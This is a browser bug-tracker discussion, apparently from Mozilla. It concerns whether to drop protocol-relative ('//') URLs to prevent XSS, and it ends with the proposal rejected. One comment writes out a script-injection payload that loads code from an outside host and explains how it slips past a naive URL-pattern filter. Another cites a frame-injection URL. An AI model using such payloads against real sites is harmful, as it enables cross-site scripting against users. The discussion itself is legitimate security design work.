362259 - Drop support for links beginning with "//" (protocol-relative links)

Status: RESOLVED INVALID

(Core :: Networking, enhancement)

Description

[Biju]

XSS: on no protocol we should not defaults to current page's protocol 
credits to http://ha.ckers.org/xss.html

At present on no protocol we defaults to current page's protocol.

only place I find a need for this is if the current page is in local/network disk  
ie, current page accessed by file://


do we need to continue supporting this?
(even though it may be a standard)

IMHO to reduce XSS we should drop this support expect for file:// protocol 

see attachment no_protocol_xss.html

This is applicable to links, images, frames, scripts, style etc.



blocks: bug 301375

Comment 1

[Biju]

Attachment: no_protocol_xss.html

Comment 2

[Christian :Biesinger (don't email me, ping me on IRC)]

why is this a problem?

Comment 3

[Andreas Otte]

Removing this support unconditionally will break some sites, mostly for http.

Comment 4

[Biju]

(In reply to comment #2)
> why is this a problem?

answer:- insufficient sanitizing.

case 1.
say a site will allows images on their site be embedded into user submitted content.
now somebody comes and add a x-rate image from another site.

test was done on pattermatching /^(ht|f)tps?:\/\// to identify external image 


case 2.
say a social networking site allow their own javascript widjets to be embeded to the page.

following will pass the test, but this own is accessing http://ha.ckers.org/
<SCRIPT SRC=//ha.ckers.org/.j>

(In reply to comment #3)
> Removing this support unconditionally will break some sites, mostly for http.
I want to see few examples...

Comment 5

[Biju]

Attachment: no_protocol_s_xss.html

missed bugzilla is https

Comment 6

[Jesse Ruderman]

What does this have to do with XSS?

Comment 7

[Biju]

(In reply to comment #6)
> What does this have to do with XSS?

This is listed as one of the way to do XSS at http://ha.ckers.org/

Comment 8

[Roger Que]

This would break Slashdot among other sites. Examples cited by comment #4 are the responsibilities of the sites allowing user-submitted content, not the browser.

Comment 9

[Biju]

(In reply to comment #8)
> This would break Slashdot among other sites.
verified Slashdot, yes it use //  fixing this will break Slashdot,

Is there any other sites do the same.

> the responsibilities of the sites allowing user-submitted content, not the
> browser.
NB: I totally agree... 

Comment 10

[Wladimir Palant]

Here is an example for frame injection using URL starting with //: http://msdn.microsoft.com/library/default.asp?url=//www.google.com/. This was disclosed on sla.ckers.org on February 10, but for some reason Microsoft chose not to fix it.

However, I only now realized that the reason this was only working in Firefox is not that Firefox is the only browser supporting URLs starting with // - it is not. However, only Firefox ignores <script language="JScript"> that redirects you to a 404 page. In Internet Explorer with Active Scripting disabled this attack works as well.

So I would say this bug is a WONTFIX. http://ha.ckers.org/xss.html#XSS_Protocol_resolution has a point however - we should not accept script tags without closing </script>, no other browser does. I will file a bug on this.

Comment 11

[Jesse Ruderman]

> we should not accept script tags without closing </script>, no
> other browser does.  I will file a bug on this.

This was bug 376899, which turned out to be a dup of bug 305873.

Comment 12

[Jesse Ruderman]

http://www.nedbatchelder.com/blog/200710.html#e20071017T215538 describes one reason to use this kind of URL.

Comment 13

[Philip Tellis]

This should probably be closed WONTFIX.  Protocol relative URLs are becoming fairly commonplace among sites that need assets loaded on both http and https pages and do not want a mixed content warning.

The XSS issues mentioned are due to improper input sanitization.  This is a server side developer problem, not a browser problem.  Developers need to sanitize their inputs or Little Bobby Tables will get them.

Comment 15

[Brian Smith (:briansmith, :bsmith, use NEEDINFO?)]

WONTFIX -> INVALID. Now most (all?) relevant specifications require support for protocol-relative URI references.

Comment 17

[Jesse Ruderman]

> This is how browsers deal with URLs (unfortunately): http://url.spec.whatwg.org/

We could warn about and eventually deprecate protocol-relative links, like we did with the (even more confusing) case of links that start with "username:password@".

I don't think it's worth the breakage and warning fatigue, though.

Comment 18

[Wladimir Palant]

Given the common use case outlined in comment 13 - no, I don't think a warning would be justified.